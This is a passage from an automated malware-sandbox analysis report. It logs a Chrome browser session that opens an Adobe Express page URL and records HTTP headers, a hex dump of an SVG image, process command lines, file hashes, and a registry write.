Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-27 06:46:23 UTC 168 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 27573618
Cache-Control: public, max-age=31536000
Content-MD5: DhdidjYrlCeaRJJRG/y9mA==
Content-Type: image/svg+xml
Date: Fri, 27 May 2022 06:46:23 GMT
Etag: 0x8D7B00724D9E930
Last-Modified: Wed, 12 Feb 2020 22:01:42 GMT
Server: ECAcc (frc/8FE5)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 1528e7ed-101e-0063-71cd-76af16000000
x-ms-version: 2009-09-19
Content-Length: 1864
Connection: close

2022-05-27 06:46:23 UTC 169 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 
6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 
3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 
38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 
36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 
34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-
path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-3
80.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Timestamp
kBytes
transferred

Direction Data

• chrome.exe

• chrome.exe

Click to jump to process

Target ID: 0

Start time: 08:44:48

Start date: 27/05/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Statistics

Behavior

System Behavior

Analysis Process: chrome.exe PID: 7300, Parent PID: 2524

General
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Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation   --single-argument https://express.adobe.com/page/vCTYm
3h0r9BmZ/

Imagebase: 0x7ff68c970000

File size: 2438312 bytes

MD5 hash: 74859601FB4BEEA84B40D874CCB56CAB

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

HKEY_CURRENT_US
ER\Software\Goo
gle\Update\ClientState
\{8A69D345-D564-
463c-AFF1-
A69D9E530F96}

dr unicode 0 1 success or wait 1 7FF68C9A885B RegSetValueEx
W

Target ID: 1

Start time: 08:44:51

Start date: 27/05/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1720,27683
40297302204061,425894217471660703,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 /prefetch:8

Imagebase: 0x7ff68c970000

File size: 2438312 bytes

MD5 hash: 74859601FB4BEEA84B40D874CCB56CAB

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

File Activities

Registry Activities

Key Value Modified

Analysis Process: chrome.exe PID: 5468, Parent PID: 7300

General

File Activities

Copyright Joe Security LLC 2022 Page 94 of 95



Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

⊘ No disassembly

Disassembly
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